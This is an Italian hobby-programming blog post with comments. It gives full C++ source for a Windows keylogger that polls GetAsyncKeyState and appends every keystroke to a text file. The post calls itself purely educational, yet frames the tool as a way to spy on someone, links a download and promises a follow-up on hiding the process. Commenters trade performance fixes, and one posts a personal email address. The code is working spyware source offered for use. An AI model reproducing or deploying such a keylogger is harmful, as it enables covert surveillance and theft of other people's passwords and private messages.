Il blog per tutti gli smanettoni del pc

Keylogger windows in c++

gen 30

Lo scopo dell’articolo è puramente didattico. Non mi assumo nessuna responsabilità sull’uso illecito dello script.

Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo’ essere software o hardware.

Oggi parleremo di quello software realizzandone uno in c++.

Lo scopo del keylogger è quello di intercettare i tasti premuti dall’utente e registrali in un file.
La funzione GetAsyncKeyState, presente nella libreria windows.h, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no.

Ecco un semplice esempio per utilizzare questa funzione.

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
int main(){   
    while(1){                     
             if(GetAsyncKeyState(65)==-32767){                                             
                    cout << "Tasto A premuto\n";                                                         
              }                           
    }    
    return 1;
}


Il seguente codice if(GetAsyncKeyState(65)==-32767){ controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .

Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.

Il seguente programmino apre il file in scrittura e scrive una stringa “prova”

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
void main(){
     char * file = "keylog.txt";
     FILE * scrivi ;
     scrivi = fopen(file,"a+");
     fprintf(scrivi,"prova");
     system("pause");     
     }

Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <iostream.h>
 
// La seguente funzione registra il tasto premuto 
// sul file
void reg(int key,char *file){
 
   FILE *keylog;
   keylog = fopen(file,"a+");  // Apriamo il file in modalità scrittura con 
   // cursore posizionato alla fine
   int tmp = key; 
 
   switch(key){
 
   case 8 :    fprintf(keylog,"[Del]"); break; 
   case 9 :    fprintf(keylog,"[Tab]"); break;      
   case 13:    fprintf(keylog,"\n[Invio]\n"); break;
   case 37:    fprintf(keylog,"[Left]"); break;
   case 38:    fprintf(keylog,"[Top]"); break;
   case 39:    fprintf(keylog,"[Right]"); break;  
   case 40:    fprintf(keylog,"[Bottom]"); break; 
   case 46:    fprintf(keylog,"[Canc]"); break;   
   case 44:    fprintf(keylog,"[Stamp R sist]"); break;   
   case 45:    fprintf(keylog,"[Ins]"); break;     
   case 33:    fprintf(keylog,"[Pag Su]"); break;  
   case 34:    fprintf(keylog,"[Pag Giu]"); break;        
   case 35:    fprintf(keylog,"[Fine"); break;      
   case 164:    fprintf(keylog,"[Alt]"); break;       
   case 145:    fprintf(keylog,"[Bloc Scorr]"); break;  
   case 92:case 91:    fprintf(keylog,"[Windows]"); break;           
   case 32:    fprintf(keylog," "); break;
   case 162:   fprintf(keylog,"[Ctrl]"); break;
   case 107:   fprintf(keylog,"+"); break;
   case 109:   fprintf(keylog,"-"); break;  
   case 111:   fprintf(keylog,"*"); break;   
   case 144:   fprintf(keylog,"/"); break;   
   case 106:   fprintf(keylog,"-"); break;    
   case 27:case 163:   fprintf(keylog,"[Esc]"); break;     
   }
   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      key -= 112;
      fprintf(keylog,"[%d]",key);   
      key=tmp; 
   }
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetKeyState(VK_CAPITAL)==1 || GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             fprintf(keylog,"%s",&key);          
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             fprintf(keylog,"%s",&key);         
             key = tmp;
             }                       
   }   
   // TASTI numerici   
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 : fprintf(keylog,"="); break;      
      case 49 : fprintf(keylog,"!"); break; 
      case 50 : fprintf(keylog,"\"");break;
      case 51 : fprintf(keylog,"£");   break;    
      case 52 : fprintf(keylog,"$");  break;  
      case 53 : fprintf(keylog,"%");  break;   
      case 54 : fprintf(keylog,"&");  break;        
      case 55 : fprintf(keylog,"/");  break;               
      case 56 : fprintf(keylog,"(");  break;
      case 57 : fprintf(keylog,")");  break;                                      
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57){         
       fprintf(keylog,"%s",&key);      
       }     
    } 
 
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 192 : fprintf(keylog,"ç"); break;   
      case 191 : fprintf(keylog,"§"); break;       
      case 222 : fprintf(keylog,"°"); break; 
      case 187 : fprintf(keylog,"*"); break;       
      case 186 : fprintf(keylog,"é"); break;                                       
      case 188 : fprintf(keylog,";"); break;
      case 190 : fprintf(keylog,":"); break;
      case 189 : fprintf(keylog,"_"); break; 
      case 219 : fprintf(keylog,"?"); break;    
      case 221 : fprintf(keylog,"^"); break; 
      case 226 : fprintf(keylog,">"); break;  
      case 220 : fprintf(keylog,"|"); break;           
 
      }  
 
    }else if((GetKeyState(17)==-127 || GetKeyState(17)==-128  )&&(GetKeyState(18)==-127 || 
    GetKeyState(18)==-128 )&&( GetKeyState(162)==-127 ||  GetKeyState(162)==-128 )&&
    (GetKeyState(165)==-127 || GetKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 192 : fprintf(keylog,"@"); break;     
      case 222 : fprintf(keylog,"#"); break;  
      case 187 : fprintf(keylog,"]"); break;   
      case 186 : fprintf(keylog,"["); break;             
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 : fprintf(keylog,"ò"); break;     
      case 191 : fprintf(keylog,"ù"); break;      
      case 222 : fprintf(keylog,"à"); break;    
      case 187 : fprintf(keylog,"+"); break;     
      case 186 : fprintf(keylog,"è"); break;    
      case 188 : fprintf(keylog,","); break;    
      case 190 : fprintf(keylog,"."); break;        
      case 189 : fprintf(keylog,"-"); break;    
      case 219 : fprintf(keylog,"'"); break;      
      case 221 : fprintf(keylog,"ì"); break;      
      case 226 : fprintf(keylog,"<"); break;    
      case 220 : fprintf(keylog,"\\"); break;                                     
      }     
    }
 
   fclose(keylog);
}
 
int main(){
 
 
 
    char * file = "prova.txt";
    int i;
    while(1){       
          for(i=8;i<=1000;i++){             
             if(GetAsyncKeyState(i)==-32767){                                             
                                reg(i,file);                                                         
              }          
          }          
    }
 
    return 1;
}

Download Keylogger windows

Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento

4 Commenti a “Keylogger windows in c++”

  1. Console invisibile c++ » IoSmanetto.it – Blog programmazione e webdesign
    20:34 on gennaio 31st, 2010

    [...] precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l’articolo e provato il keylogger avrà sicuramente notato [...]

  2. Lupokr92
    13:00 on aprile 7th, 2010

    Ciao ho compilato il keylogger e ho ottimizzato il codice aggiungendo inoltre la funzione per nascondere la console ma c’è un problema di fondo relativo all’allocazione di memoria perchè il programma funge bene su un quad core e occupa il 25% della memoria ma su un pc normale va tutto in palla!!

  3. Gregorio
    14:15 on aprile 7th, 2010

    Ciao Lupokr92.
    Mi piacerebbe scambiare due parole con te . Hai msn ? Il mio indirizzo è costagregorioalessio[@]hotmail.it.

    Riguardo al codice certo non è il massimo dell’efficenza , ma è strano che occupa il 25 % delle cpu .

    Fammi sapere
    Ciao

  4. Il maestro d'arme
    14:16 on agosto 25th, 2010

    E’ solo perché il programma controlla ripetutamente lo stato della tastiera in modo indiscriminato.
    Basta aggiungere il comando Sleep([numeroMillisecondi) per impostare delle pause, esempio:

    int main(){
    char * file = “prova.txt”;
    int i;
    while(1){

    Sleep(10);
    for(i=8;i<=1000;i++){ if(GetAsyncKeyState(i)==-32767){
    reg(i,file);
    }
    }
    }
    return 1;
    }

    posto solo per chi, passando per questa pagina, trova un codice non troppo performante ;)

    IMDA

Lascia un Commento